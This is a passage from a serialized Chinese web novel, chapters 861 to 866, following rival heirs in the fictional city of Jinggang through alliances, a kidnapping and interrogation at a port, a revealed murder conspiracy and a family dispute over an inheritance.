萧澜兰执着刀的手几不可察地微微一顿。 她脸上没有任何意外的表情,冰冷的眼底掠过一丝极淡的嘲弄。手腕灵巧地一转,用水果刀叉起一块苹果缓缓送入口中,细细咀嚼起来。 冰冷的刀锋离她的唇瓣极近,寒光映在她幽深的瞳仁里晦暗不明。萧澜兰咀嚼的动作,带着一种近乎残忍的力度,像是在撕咬着谁的骨肉。 姜花衫的出现让沈娥和萧家人大感意外,尤其是沈娥。 她原本想第一时间去向老爷子求助,但这三年的疏离,她已经没有了从前的底气。此刻看见姜花衫,莫名眼眶酸涩,心情复杂到了极点。 "衫衫?你......你怎么来了?" 萧家人此前已经在宴会上见过姜花衫了,虽不曾与她有过交集,但她鲸港嫡公主的名声已经深入人心。 一群人相互交换了眼神,脸上堆着和善的笑。 姜花衫只当没看见那群萧家人,笑着和沈娥搭话:"爷爷已经听说了宴会的事,在家里发了好大一通脾气。我怕爷爷说我不懂事,先卖个乖看看澜兰姐。" 沈娥脸色微动,她自是不信老爷子会毫无芥蒂替萧澜兰出头,但她也明白姜花衫话里的善意,缓和了神情:"好孩子,有心了。澜兰在里面,你去吧。" 萧家人敢逼上医院,就是笃定萧澜兰捅了这么大的篓子,沈家必然心寒。但现在姜花衫来了,说明沈家的态度和他们预期的不一样。 一群人相互看了看,一时拿不定主意是攻是守。 …… 第861章 说服萧澜兰 病房内光线柔和,消毒水的气味中混杂着一丝若有若无的果香。 姜花衫推门而入,径直绕过床尾,坐在床边的椅子上。 萧澜兰半靠在床头,左手把玩着一柄水果刀,刀尖上还插着半块未吃完的苹果。 姜花衫开门见山:“爷爷已经查到萧家人在烟火上动了手脚,企图制造混乱嫁祸于你。” 萧澜兰瞥了她一眼,“就这样?” 姜花衫:“因为烟火事件,顺便把萧家所有人都彻查了一遍,现在已经知道你父亲利用你威胁大姑退让,在外包养情人的事了。” 当初,老爷子一气之下断了和沈娥所有来往,这些消息自然而然也被沈园拒之门外,萧启之所以敢做得如此决绝,也都是缘于此。 萧澜兰握刀的手猛地收紧,指节泛白,转头看向姜花衫,“那……外公?” 姜花衫笑了笑,“我来就是想告诉你,你可以放心夺权了。” “国王的权杖不能杖杀老妪,但可以驱动战争。爷爷厌恶的是那个手握权杖却向下凌虐的萧澜兰,如果你的目标换成萧家,爷爷自当成全。” 萧澜兰眼睑微颤,至今她想起十七岁的晚宴仍心有余悸。她当时痛恨姜花衫,最大的原因是她抢走了所有人的关注和原本属于她的位置。 但时至今日她才明白,她以为自己在意的东西,其实都并非她真正渴望的。或者说,她要的东西太肤浅,没有根基,就像沙漠蛮荒里的海市蜃楼。 “这是外公亲口说的吗?”她哑声轻问。 姜花衫摇头,“没有,爷爷什么都没有说,这是我说的。” “……”萧澜兰的心一下跌到了谷底,她死死地盯着姜花衫,那双原本冰冷平静的眼眸深处,仿佛有什么东西碎裂开来。 姜花衫迎着她的目光继续说道:“我就是爷爷肚子里的蛔虫,我说的,等于就是他的意思。” 萧澜兰牵动嘴角,似笑非笑。 见萧澜兰迟迟没有接话,姜花衫也不在意,接着说道:“另外还有一件事,爷爷今天特意早起带了一群人去了周家,他把周家的牌匾给砸了。” 萧澜兰霍然抬眸,眼里的错愕如同凝固的冰层,寸寸碎裂。“你说什么?” 姜花衫:“你没有听错,就是把周家的牌匾砸了。听说,周老爷子气得差点心脏病犯了。不过,周家觉得丢脸,暂时封锁了消息。” 萧澜兰低下头,眼底的眸光碎成了一滩湿痕,她看着手里泛着寒光的刀刃,久久没有说话。 姜花衫不打算给她太多思考的时间,沉默片刻,拍了拍自己的肩膀,“那个……爷爷去周家,主要还是我挑拨离间的功劳,我这个同盟也算给力吧?” “你?”萧澜兰抬眸看了姜花衫一眼,突然阴阳怪气:“你会这么好心?你是为了沈眠枝吧?怎么?想替她求情?” 姜花衫并不遮掩,直言说道:“谈不上求情,这是共赢。” “共赢?”萧澜兰仿佛听见了什么荒谬的笑话,“沈眠枝想杀我,如果不是我运气好,现在已经死了。” “不过……我实在很好奇,你是怎么说服周宴珩的?” 她眼里忽然燃起妖异的幽光,一副真心求教的表情,“竟然能让他心甘情愿替沈眠枝背了黑锅?只可惜啊,还有我这个当事人,只要我出来指证,沈眠枝就跑不了。” 姜花衫不以为然,冷静分析:“以你现在的情况,周宴珩认罪才是最好的结果,否则你又如何平息周家的怒火?” 萧澜兰十分清楚姜花衫给出了最优解,但她不知道为什么就是不想如她所愿,故意反唇相讥:“你凭什么以为你能说服我?姜花衫,沈年和名单你都已经拿到了,我们之间的合作也已经结束了。你别以为我愿意跟你合作,就打算洗心革面一心向上了。不——绝不!我要的是所有伤害我的人都下地狱!包括沈眠枝!也包括你!” “是吗?”姜花衫笑了笑,随后拿起半边苹果,吧唧咬了一口。 “爷爷曾经教过我,不要看一个人说了什么,要看她做了什么。一个天天喊着要离开你的人未必是真的要离开,她要的是被重视和关爱。那你呢,萧澜兰,你口口声声说恨我,却还是跟我合作,你想要什么?” 萧澜兰脸色微僵,眼里隐隐有被揭露的恼怒,“你还是这么自以为是。” 姜花衫煞有介事地想了想,忽然话锋一转:“萧澜兰,你还记得当初你在天台,是谁拉了你一把吗?” 萧澜兰皱眉,虽然不知道她想干什么,但还是习惯性打压:“你脑子没病吧?跟我打感情牌?” 蓦地,她忽然想到什么,低声笑了起来,那笑声带着一种瘆人的寒意和恶意:“姜花衫,有件事你心里应该很清楚吧?沈眠枝当时认错了人,把我当成了你。但——” 她刻意拖长了尾音,眼神像毒蛇一样缠绕而上,直到看见姜花衫的眉头越蹙越紧,才缓缓道:“但她还是毫不犹豫下了手,因为她想杀的就是你!哈哈哈哈哈哈!她为了周宴珩竟然要杀你!你们不是好姐妹吗?哈哈哈哈哈……” 姜花衫皱眉,一脸嫌弃地看着她,咽下嘴里的苹果,语调平静:“所以,你不想救她吗?” 萧澜兰仿佛听到了什么天大的笑话,“我凭什么要救她。” “因为……”姜花衫缓缓凑近,“她是另一个你啊。” 这话一出,萧澜兰眼里的戏谑瞬间崩溃,整个人都愣住了。 前面的谈话都是抛砖引玉,到此,真正的谈话才开始。 姜花衫的眼神变得侵略,她目光灼灼地看着萧澜兰:“不像吗?爱一个人爱到失去自我,不受控制,形同傀儡。你也厌恶当时的自己吧?所以,你才想不惜一切代价毁了周宴珩。可错过了上一次的宴会,他对你已经有了防备之心,你再想杀他已经是不可能的。” “但,如果‘另一个你’能办到呢?你不想试试吗?” “这样难道不比直接杀了周宴珩更有趣吗?” 萧澜兰像是被什么猝然扼住了心跳,即使她知道姜花衫这番说词不过是想保住沈眠枝,但她还是不可抑制地心动了。 因为这的确就是她想要的东西。 她了解周宴珩,杀了他并不会让他痛苦,也不会让他下地狱,无心者憎世,又怎么会畏惧死亡? 姜花衫见目的达到,缓缓起身,笑着再次伸手:“那就,预祝我们再次联盟?” 萧澜兰看着眼前的手掌,眉头越蹙越紧。 姜花衫并不在意,主动握住萧澜兰的手,眼见她一脸厌恶要甩开,她顺势扣住萧澜兰的手腕,牵引着她手里的锋刃指向房门外。 “别想了,你目前最大的敌人在那。” 萧澜兰顺着刀刃的方向看去,眼神微暗。 萧家。 她偏头,目光带着几分审视:“你为什么帮我?” 任何人做事都有目的,但很奇怪,她完全看不透姜花衫在想干什么。 姜花衫想了想,给了一个萧澜兰能听懂的理由:“我不是在帮你,只不过帮你正好能完成我想做的事而已。” 上一世,萧澜兰被贬后,沈娥退出了萧家的权力中心。萧、顾两家作为姻亲,在后来的家族大战中选择了站队周家,虽说后来沈家还是杀出重围,但也付出了惨痛的代价。 所以,她这是未雨绸缪。 以萧澜兰对周宴珩的厌恶,只要她夺回萧家的掌控权,萧家这辈子都不可能和周家联盟,未来爷爷也不必那么辛苦。 这个答案很符合姜花衫在萧澜兰心里的形象,她勉强接受,抬手挣脱姜花衫的手腕,“你可以走了。” 姜花衫知道这个不算可靠的联盟暂时稳固了,她也不打算和萧澜兰维系额外的姐妹感情,点了点头:“行,那你好好休息。” 可刚迈出两步,忽然想到什么,她脚步一顿,再次回头:“对了~昨晚除了你,房间里还有别人?” 萧澜兰的身体本能地绷紧,整个人顿住了。 姜花衫了然,“我不喜欢我的盟友三心二意,以后别联系了。” 萧澜兰感觉被冒犯,冷笑:“你在命令我?” 姜花衫勾起嘴角笑了笑:“如果你感到不舒服,可以把它当作是善意的提醒。你能想到的事,周宴珩也能想到,所以下次那个人再出现,针孔会对准就不一定了。” 萧澜兰嘴角的笑意瞬间凝固,“你知道‘他’是谁?” 她眸光微动,“你拿到沈年的那份名单了?” 姜花衫笑而不语,摆摆手,“再提醒你一句,以你现在的能力,能找到的最好同盟只有我。记住,我能让你回来,也能让你回去。” …… 第862章 暗示 春园。 沈眠枝坐在床头,背脊挺得笔直,像一尊没有生气的瓷娃娃。 她的目光低垂,死死地盯在自己的双手上,那眼神空洞得可怕,仿佛那不是她的手,而是什么沾满了污秽、令她无法理解的异物。 窗外天色由明转暗,再由暗转明,阿姨送来的餐食在床头柜上冷了又换,换了又冷,她始终没有动过一下。 “枝枝,你开开门。” 沈让在沈眠枝房门外踱步,又一次抬手轻叩门板,声音带着小心翼翼的安抚:“你有什么事你跟爸说啊,一直憋在心里可不行。” 沈让等了一会儿,没有得到任何回应,心里除了心疼更多的是无力,他实在想不通,好好一个人去了一趟宴会怎么忽然又魔障。 “五叔,枝枝好点没?我来瞧瞧。” 姜花衫从医院回来,一刻都没有敢耽误,立马来了春园。 她比谁都清楚,沈眠枝现在有多绝望。 她曾经挣脱过一次束缚,差一点就触到自由了,结果却被昨晚的变故狠狠推回深渊。她并不知道自己正在破的是生死局,堪比破茧成蝶的伟大壮举,她只会觉得自己无能、可憎。 沈让看见姜花衫时,眼前一亮,“衫衫,你来的正好,你赶紧帮我劝劝她。这丫头把自己锁在房间里,到现在还没吃东西。” “五叔您先别急。” 姜花衫走近房门,正准备敲门,里面忽然有了反应。 “咔哒。” 一声轻微的锁舌弹响,在寂静的走廊里格外清晰。 沈让和姜花衫俱是一怔。 紧接着,那扇紧闭的房门,被从里面缓缓拉开了一道缝隙。 缝隙后,是沈眠枝苍白得毫无血色的脸。她依旧穿着那身皱巴巴的睡衣,头发凌乱,眼底是浓得化不开的疲惫与某种近乎碎裂的平静。 她没有看门外的父亲,目光直直地落在姜花衫身上,那眼神复杂得像一团纠缠的乱麻,“进来吧。” 只两个字,说完,她便不再看任何人,转身退回了房间的阴影里,留下敞开的门缝。 沈让彻底愣住了,看着那敞开的房门,又看看姜花衫,脸上写满了难以置信。 姜花衫脸上没有任何意外的神色,仿佛早就预料到这一刻。她对沈让轻轻点了点头,小声道,“五叔,我和她说说话。” 沈让在门口叫了这么久沈眠枝都没有反应,姜花衫一来门就开了。他隐约感觉到,女儿的世界正在经历一场他无法触及的风暴,而姜花衫,是唯一被允许踏入风暴眼的人。他点了点头,主动离开了房间。 门内,光线昏暗。 沈眠枝背对着门口,站在窗边。 姜花衫反手轻轻带上门,目光平静地扫过房间里原封未动的餐食,“想死?” 沈眠枝愣了愣,还没等她完全理解这两个字背后的意味,姜花衫已经如同鬼魅般逼近窗边。 下一秒,一只冰冷而有力的手猝然扼住了她纤细的脖颈! “呃!”沈眠枝呼吸一窒,被迫仰起头,撞进姜花衫那双深不见底的眼眸中。 姜花衫的手臂爆发出与她纤细身形不符的力量,猛地将她往后一推! 沈眠枝的后腰狠狠撞上冰冷的窗台边缘,上半身不受控制地向后仰去,大半边身子瞬间悬空! “沈眠枝,接下来我说的每个字,你都一定要记清楚。” “既然你已经在我和周宴珩之间做了选择,就不必再这样惺惺作态了。如果有一天,你还因为同样的事想置我于死地,千万不要心软,因为我一定是恶意的。” 沈眠枝空洞的眼神瞬间被注入一丝颤动,像冰面裂开细微的纹路,眼泪不受控制地涌出,“为什么?” 姜花衫感受到了一滴泪水的温度,猛地松开手。 力量骤然消失,沈眠枝脱力地顺着窗台滑落,重重跌坐在冰冷的地板上。 姜花衫看着她,目光深深,仿佛想通过这双眼睛看进沈眠枝的灵魂深处。 “因为,这是我们最好的结局。” …… 第863章 顾彦 顾家老宅。 “岂有此理!简直是岂有此理!” 老太太重重搁下手中的参汤,上好的瓷盏发出刺耳的碰撞声。 “清予才刚回来,沈庄怎么就下这么重的手?沈渊也是个废物,也不知道帮着说话,他就这么看着清予在沈家受委屈?” 顾老太太越想越气,拄着沉香拐杖就要站起身,“我这就去沈园!我倒要问问沈庄,清予到底犯了什么事,值得他这么大动干戈?” “奶奶,您冷静点,先缓口气,可别气坏了身体。” 一直静立在一旁的顾彦连忙上前,稳稳托住老太太的手臂,阻止了她起身的动作。 “我怎么冷静?”老太太向来把沈清予看得极重,根本不顾顾彦的劝阻,一把甩开他的手,“清予是你小姑在这个世上唯一的血脉,我绝不允许顾家人像糟蹋你小姑一样轻贱清予。” 顾彦被冷冷推开,脸上并无半点不悦。 他轻叹一声,有些无奈地跟上老太太的步伐,“奶奶,我知道您是心疼清予,但您要是就这么去沈家讨说法,到时候为难的还是清予。” 这话算是说到点子上了。老太太神色微顿,连脚下的步伐也慢了下来。 顾彦观察着老太太的神色,继续缓声道:“清予的性子您还不知道吗?他哪能真的吃亏?原本也不是什么大事,您要掺和进去,这事可就闹大了。这一年清予都在北湾为咱们顾家打拼,沈老爷子也没说什么,可见是有格局的。奶奶,您可别关心则乱。” 顾老太太想想也是这么回事,紧绷的身体慢慢松弛下来,重重叹了口气,跌坐回太师椅。 “……算了!” 她摆摆手,声音带着一丝疲惫,“你说得对,那小子自有主张,万一真闹起来,说不定还觉得我老婆子多事。” “说来说去,您就是怕清予。”顾彦笑了笑,重新端起案几上的参汤递给老太太。 顾老太太听罢,也觉得好笑,眉宇间的怒气骤然消散,连带着看顾彦也顺眼了不少。 “只是……”她沉吟片刻,缓缓开口,“你父亲传讯过来,北湾的贵客午后就到。原本是定了让清予去接的,他熟悉那边的事务,与对方也打过交道。” 老太太顿了顿,沉思着往嘴里送了一口参汤,片刻后,抬眼看向顾彦,“现在这情形,清予怕是抽不开身。这事儿只能你去了。” 顾彦微怔,神色一凛,点头道:“好。” 老太太还是有些不放心,又细细叮嘱道:“这次来的贵客几乎掌握了北湾命脉,与我们顾家在北边的生意干系重大。接到人直接安排在西院的‘澄心斋’,那里清静,也显重视。一应所需,你都亲自打点,务必周到。” “知道了。”顾彦轻叹一声,“奶奶,您忘记医生怎么交代的?少操心多休养,汤都凉了,快喝吧。” 顾彦从主厅出来正要往外走,却见廊柱后突然转出一道人影。 顾玉珠趴在柱子后,小心翼翼往厅里看了一眼,一把拉过顾彦往角落走去。 “怎么了?鬼鬼祟祟的?”顾彦一脸无奈。 顾玉珠做贼似的四处张望,见周遭无人,压低了声音小声说道:“哥,我刚刚听见了,奶奶叫你去接待北湾来的贵客?” 顾彦点头,“怎么了?” “什么怎么了?” 顾玉珠一副恨铁不成钢的模样,“这可是千载难逢的机会啊!趁着清予哥不在,你一定要跟这些人打好关系,不然他们可就都变成沈清予的资源了。” 她顿了顿,观察着顾彦的神色,见他依旧面无表情,又添了一把火:“奶奶的心都偏到嗓子眼了,你要再这么不争不抢,顾家可就是清予哥的了。” “说完了?”顾彦声音不高,却带着一种不容置疑的冷意。 顾玉珠脸上的担忧瞬间僵住,有些委屈,“我这是为了谁啊?你怎么还拉着个脸?” 顾彦捏了捏眉心,“阿珠,顾家的前程,靠的是族人齐心,各司其职。不管出于什么原因说出那些话,你都是在搬弄口舌,挑拨离间。” “你……”顾玉珠脸色白了白,恼羞成怒,猛地推了顾彦一把:“好心当作驴肝肺,我再也不理你了!你就这么蠢死吧!” 说罢,她气急败坏地转身跑开了。 顾彦并未将顾玉珠的话放在心上,理了理西装袖口,头也不回地出了门。 这种威胁的话他听了不下百次,早已免疫,等他回来,顾玉珠应该就已经把自己哄好了。 * 午后的港口依旧繁忙,巨大的货轮如同钢铁巨兽泊在岸边,起重机轰鸣着吊装集装箱,空气里混杂着海水的咸腥与柴油的味道。 顾赐丰传来的信息显示,接送北湾贵客的私人游艇停靠在专供VIP使用的东区三号码头。 港口区域庞大,通道错综复杂。顾彦穿过人流,行至一个岔路口,一个穿着港口工作人员制服的男人迎面走来。 那人随手朝另一条通道指了指,语气寻常:“您好,你们是去东三码头?那边临时管制,通行得绕一下西侧通道,从七号口进也一样。” 顾彦脚步微顿,看了一眼男人的胸牌,沉默片刻,侧头看向身旁的管事。 管事立刻会意,走到一旁拿出手机快速联系港口管理部门。 片刻后,他返回顾彦身边,低声道:“少爷,核实过了,东三码头确实因临时安全检查封闭两小时,建议绕行西侧七号口。” 顾彦闻言,眼底的疑虑散去,点了点头。 “走吧。” 他率先转身,管事和两名保镖紧随其后。 西侧通道相比主路确实僻静许多,高大的集装箱堆叠成钢铁迷宫,投下大片阴影,即使是午后,光线也显得有些晦暗。只有远处隐约传来的轮船汽笛和机械运作声,提醒着这里仍是繁忙港口的一部分。 越往里走,通道越是狭窄。 顾彦下意识地放缓了脚步,目光敏锐地扫过两侧集装箱的缝隙和顶棚。 就在他们即将穿过一片最为密集的集装箱区域时—— “砰!” “砰!” 两声沉闷的击打声几乎同时从身后传来!顾彦猛地回头,只见跟随的两名保镖已经软软倒地,不知何时从阴影中窜出的几名黑衣壮汉正利落地收起手中的电击棍。 一切发生在电光火石之间。 顾彦反应极快,拔腿欲逃,但他刚有动作,头顶集装箱上悄无声息地跃下一人,那人动作如猎豹般迅猛,精准地扣住了他探向腰间的手腕,掏出一块气味刺鼻的湿帕死死捂向他的口鼻! 瞬间,刺鼻的气味疯狂涌入肺部,意识如同退潮般迅速抽离。顾彦挣扎片刻,便没了力气。 …… 第864章 -Y “哗啦——” 一盆夹杂着冰碴的冷水狠狠泼在顾彦脸上,将他从昏迷中强行拽回现实。 他猛地抽搐了一下,剧烈地咳嗽起来,肺部和鼻腔火辣辣地疼。 眼前一片模糊,只能感觉到自己似乎被绑在了一张坚硬的椅子上。 还没等他看清周围环境,甚至没来得及吸入第二口完整的空气,一只粗糙的大手猛地揪住他的头发,用力向后一扯,迫使他仰起头! 下一秒,他的整个脑袋被狠狠地按进了一个盛满冰水的容器里! “唔——!” 刺骨的寒意瞬间包裹了整个头部,口鼻被冰冷的水流强行灌入。求生的本能让他开始剧烈挣扎,但双手双脚都被牢牢束缚在椅背上,所有的扭动都只是徒劳。 肺部因缺氧而开始灼痛,耳膜嗡嗡作响,意识再次开始模糊。 就在顾彦几乎要失去意识的边缘,那只大手再次揪着他的头发,将他猛地提出了水面! “咳!咳咳咳——!” 顾彦狼狈不堪地大口喘息、咳嗽,冰水从头发、鼻腔、嘴里不断流出,浑身控制不住地颤抖,眼前阵阵发黑。 “你们……是谁?你们想干什么?你们要钱我有……” 不等他说完,那只无情的大手再次发力,他的头又一次被狠狠摁入冰水之中! 窒息感再次如同潮水般涌来,比上一次更加猛烈、更加绝望。 提起,摁下。 再提起,再摁下。 就在顾彦的意识即将彻底涣散时,那只揪着他头发的手终于松开了。 他被像丢垃圾一样,连同椅子一起猛地掼在冰冷粗糙的水泥地上。 “哒、哒、哒——” 就在这时,暗室里忽然响起不徐不疾的脚步声,那声音由远及近,最终停在了他面前。 顾彦瘫在冰冷的地面上,身体不受控制地痉挛着,视线被水和生理性泪水模糊,勉强只能看清一双锃亮的黑色皮鞋。 来人缓缓蹲下身,带来一阵若有若无的冷冽木质香气,冲淡了空气中咸腥腐败的味道。 顾彦艰难地一点点抬起沉重的眼皮,最终,对上了一双深邃平静的眼眸。 那双眼睛的主人正微微偏头,以一种审视物品般的冷漠目光打量着他。 “阿……阿珩哥?” 周宴珩听见他的称呼,嘴角轻微地向上牵动了一下,“怎么?很意外?” 顾彦努力扯出一个近乎讨好的笑容:“阿珩哥……这其中是不是有什么误会?我们顾家……和周家一向交好……我应该没有得罪你的地方……” 周宴珩静静地看着他表演,眼神里连一丝嘲讽都懒得浮现。 片刻后,他缓缓站起身,偏头看向阴影里待命的手下,随意地挥了下手,“把他丢进海里喂鱼。” 一句话,轻描淡写,却瞬间将顾彦推入了绝望的深渊。 “阿珩哥!不要!”顾彦瞬间崩溃,挣扎着想从地上爬起,却被旁边两名壮汉轻易地重新摁倒在地。 眼看着周宴珩的背影越来越远,他终是没忍住惧意,大喊道,“阿珩哥!我错了!我不该听信萧澜兰的鬼话!别杀我!” 周宴珩脚步未停,那锃亮的皮鞋踏在水泥地上的声音,像是敲在顾彦心脏上的丧钟。 阴影中,得到指令的杀手们掏出了闪烁着寒光的匕首。 顾彦闭眼,用尽全力嘶吼,“杀了我,顾家就是沈清予的了!” 话音刚落,已经走到门口的周宴珩身形忽然顿住。 顾彦眼里立马燃起一片希望,急切道,“周家一定不会想看到这样的局面,阿珩哥,我们可以合作。” 周宴珩回头,黑曜石般的眼眸在暗光下更显得深不可测。 “我可不是萧澜兰,什么阿猫阿狗都看得上。” 第865章 顾家的毒蛇 他又来这招? 他看上去很缺“礼物”? 周宴珩居高临下看着顾彦,眼神里没有半分波澜,仿佛在看一只垂死挣扎的虫子在做无谓的表演。 他没有说话,但那无声的压力比任何催促都更令人窒息。 顾彦知道这是自己唯一的机会,不敢再卖关子,快速说道:“我曾经偷听到了老太太和沈澈密谈……原来沈家除了沈澈,还有人和外人勾结。” 他顿了顿,仔细观察着周宴珩的表情,可惜对方依旧面无表情。 顾彦只好继续,一字一句地抛出了重磅炸弹:“他们一起密谋杀了傅、嘉、明……” 周宴珩的眼神终于有了一丝极细微的变化,顾彦不会无缘无故谈起一段与他无关的事。 很明显,顾彦口中的那个“外人”就是周家。 早在顾家邀请大家去避暑山庄时他就隐隐感觉到了杀手的事和周家脱不了干系,所以他才暗中找上了夏星沉。虽然夏星沉对他的雇主避而不谈,但这并未打消他对自家老爷子的怀疑。 相反,也正是因为有此怀疑,他才没有继续追究夏星沉。 那时的他还未接管周家,也没有插手周家庶务的打算,所以才睁一只眼闭一只眼。 但现在不同了,老爷子已经让他接管了北湾庶务,这个时候再装聋作哑就说不过去了。 周宴珩缓缓蹲下身,再次与顾彦平视,声音低沉而平稳:“你想告诉我,沈家有人和周家合作一起杀了傅嘉明?而顾家老太太知道内情?” 顾彦看到周宴珩这个反应,心中大定。 他舔了舔干裂的嘴唇:“不愧是阿珩哥,一点就通。” “当初苏家因为真假千金一事被卷入宗教丑闻,正是傅家和周家共同的手笔。周老爷子策划,傅家实施,所以苏家才会在保镖环伺、固若金汤的医院丢了孩子。” “傅家给苏韵找了个养母,就这么光明正大养在眼皮子底下,为的就是十六年后一步摧毁苏家的大棋。” “只可惜,人算不如天算,半路杀出个沈家养女姜花衫。她改变了真假千金自相残杀的结局,也搅乱了周、傅两家精心布置的棋局,苏老爷子因此活捉了赵肆,转而拿到了傅家陷害的证据。” “傅家并不知道傅嘉明与周老爷子有牵连,只以为真假千金的棋局是傅嘉明谋划的。为了把自己摘离干净,周老爷子和沈家人放弃了傅嘉明。” “而傅嘉明的死,正好给了傅家人壁虎断尾的机会,所以他们隐瞒了傅嘉明被暗杀的事实,对外宣称他是畏罪自杀。如此,正好将所有罪过推脱给了一个死人。” 周宴珩静静地听着,脸上看不出喜怒。 半晌,他偏过头,一把掐住顾彦的脖子,“你说这么多,就是想告诉我,顾老太太该死,让我别多管闲事?” 顾彦脸色涨红,却还是不要命地笑了笑,“她知道太多了,如果周老爷子知道这件事,想必也不会同意被人捏着自己的把柄吧?咳咳咳……关于这一点,我们的利益是一致的。” “呵~”周宴珩点了点头,眼里的笑意未及眼底,“这么大的事,顾老太太一字未提,和周家密谋的那个沈家人,是沈渊?” 沈渊是沈清予的父亲,如果沈渊被拖下水,沈清予也会因此受牵连,所以,能让老太太甘心闭嘴的只有可能是这一个原因。 顾彦微愣,似有些惊讶周宴珩竟然如此细致。 但一想到,他竟然能在一夜之间就锁定了他,又觉得他猜出沈渊也没什么大不了。 顾彦点了点头,语气艰难,“没错。阿珩哥,周老爷子从十几年前就已经开始布局了,周老爷子不仅算计得苏家骨肉分离、名誉扫地,还让沈家姻亲瓦解、鸡犬不宁,若说周家没有图谋谁会信?” “我……我与老太太不同,沈家是沈清予的支柱,我若掌管顾家绝不可能与沈家为伍。阿珩哥,时代会变的,鲸港的权势迟早是我们这一代的,阿珩哥,你不是觉得无趣吗?不如联盟,改写时代?” 周宴珩低垂着眼睑,目光如炬,审视着顾彦脸上的每一分表情。 时间一分一秒地过去,每一秒对顾彦来说都是煎熬。 终于,周宴珩一把甩开顾彦,缓缓开口,“你倒是比沈年有脑子。” 沈年提出把姜花衫送给他时,他差点都被逗笑了。 姜花衫要这么容易被“送”,他就不会接二连三地栽跟头了。 “咳咳……”顾彦捂着脖子,胸口起伏,看向周宴珩,“阿珩哥,同意了?” 周宴珩摇头,“我都说了,我不是萧澜兰,什么阿猫阿狗都合作。你现在还没有资格跟我谈条件,我暂且留你一条命,什么时候顾家请吃席,什么时候你的命才算真正保住了。不过,我提醒你,我的耐心有限,等不了多久。” 顾彦眼底闪过一抹暗涌,心知周宴珩这是要逼他尽快下手,显然,周宴珩也已经意识到老太太不能留了。 另一方面,只要他杀了老太太,周宴珩就有了反制的把柄,他根本不用担心他会突然反水,因为周家曝光顶多就是被沈、苏两家围剿,而他,连活路都不会有。 与虎谋皮,凶多吉少。 但现在他已经没有退路了。 顾彦低头擦了擦嘴角的血渍,颤抖着摇摇欲坠的身体缓缓站定,“阿珩哥……那我现在……可以走了吗?” 周宴珩偏了偏头,身后的保镖立马拉开仓库的大门。 顾彦不敢多做停留,甚至不敢去看周宴珩的表情,低头颔首,踉踉跄跄朝门口走去。 * 第866章 当年隐情 姜花衫从春园回来后便闭门不出,专心致志备战一周后的律法大考。 这次的成绩直接关系她能否光明正大地出庭,容不得半点马虎。 虽然她没有明说,沈归灵却早已猜中她的心思,花了几日研究历年考题规律,连夜整理出一份押题手册。 姜花衫对沈归灵的押题能力存疑,却对他的解题思路给予了极大肯定。 果然,聪明人总会想方设法走最短的路径获取成功。一般人只知记重点,沈归灵却直接猜题,这从根本上就体现了两者解决问题能力的高下。 等待开庭期间,余斯文依旧四处演讲游说。即便支持率一跌再跌,也丝毫不影响他在人前扮演那位腹背受敌的政客父亲。 自那日把话说开,沈眠枝几乎再未踏足菊园。 但姜花衫并不慌张,她始终相信,自己和沈眠枝终将改写结局。 * 三日后,萧澜兰出院回到望湖别墅,萧辉、萧明等人已集结了萧家众人,等候多时。 主厅气氛凝重。一名身着黑色长裙的美艳妇人坐在众人中间,手掌轻搭在微隆的小腹上,脸上带着若有若无的微笑。 沈娥一见这阵仗,脸色顿时阴沉至极。 她心知这群豺狼定是准备反扑,唯恐萧澜兰被殃及,一把扣住女儿的手,正要开口…… 萧澜兰却脚步未停,轻轻挣脱沈娥的束缚,面不改色地走到那妇人面前。 “滚开,你坐了我的位置。” 林曼表情一怔,似乎没料到萧澜兰竟直接朝她发难。 她连沈娥都不放在眼里,何况一个乳臭未干的黄毛丫头? 她故作委屈,一脸为难地看向一旁的萧明。 萧明清了清嗓子,摆出长辈姿态:“澜兰,你刚出院,本来这些事也不急于一时。但……医院刚传来消息,你父亲撑不了几天了。萧家家大业大,经不起动荡,有些事,必须得有个章程。” 萧澜兰冷声道:“我爸死了还有我。一个上不了台面的贱人,你们竟允许她登堂入室,几位叔伯怕不是老糊涂了吧?” “你……”林曼眼底掠过一丝怨毒,脸上却仍是柔弱姿态,一边抹泪一边作势起身。 萧澜兰那番话不仅骂了林曼,更将在场众人都骂了进去,一时间人人脸色铁青。 “岂有此理!”萧辉拍案而起,指着她怒斥,“你怎么跟长辈说话的?还嫌给家里丢的人不够吗?” 他话音刚落,萧昀叼着烟蒂,态度轻佻:“本来想着你年纪不小,找个人嫁了也算萧家没白养你一场。可如今你声名狼藉,鲸港哪户好人家敢要?我和你几位叔伯商量过了,萧家养不起你这种祸根,等你父亲丧事一了,就回M国去吧。” 沈娥气得浑身发抖,冲上前挡在萧澜兰面前:“你们凭什么赶我女儿走?” 旁边一位族老立刻接口:“这是萧家一致的决定,容不得你不同意。” “没错!” 萧明起身,将一个文件夹甩在萧澜兰面前的茶几上。 “林曼肚子里的孩子是阿启的血脉,鉴定报告已经出来了,是个男孩。你父亲得知消息,高兴得不能自已,两小时前刚立下遗嘱: -长女萧澜兰行为不端、难当大任,萧家此后每月从信托基金支付五十万作为生活费,除此之外不再提供任何资助。” “此外,阿启已将他名下所有股权、资产都转移到你未出生的弟弟名下。在他成年前,由我们几位叔伯共同打理。” “你说什么?” 沈娥不敢相信同床共枕二十年的丈夫竟如此绝情,她立即拆开文件袋,一页页翻看。 林曼见状,嘴角扬起一丝不易察觉的得意,柔声开口:“姐姐,我知道你一时难以接受。但这确实是启哥的意思,他……他一直盼着有个儿子继承家业,你也是知道的。” 说着,她略带炫耀地摸了摸自己的肚子。 “啪——!” 突然,一记清脆响亮的耳光狠狠扇在林曼脸上。力道之大,让她整张脸偏了过去,颊上顿时浮起清晰的五指红痕。 整个客厅霎时鸦雀无声。 林曼捂着脸,难以置信地瞪大眼睛,半晌才回过神,一时忘了掩饰,目光阴毒地看向动手的人。 “你……你敢打我?” 沈娥也愣住了,愕然望着不知何时已站到她身前的萧澜兰。 萧澜兰风轻云淡地甩了甩发麻的手掌,眼神肃杀:“你一个贱人,也配叫我母亲‘姐姐’?谁给你的脸?信不信我连你肚子里的野种一并收拾?” 林曼早听过萧澜兰的恶名,原只当是豪门千金的刁蛮,此刻亲身体会,心底蓦地窜起一股寒意。 “萧澜兰!” 萧家众人这才反应过来,纷纷起身护在林曼身前。 “林曼怀的可是你父亲唯一的儿子,你这样恐吓她到底是何居心?” “把她赶出去!萧家没有这种不孝女!” 面对众人的指责与威胁,萧澜兰非但毫无惧色,反而冷笑一声: “一群乌合之众。” 话音未落,客厅通往内外的几扇门被猛地推开,十余名黑衣保镖鱼贯而入,迅捷有序地将萧家众人与萧澜兰隔开,形成对峙。 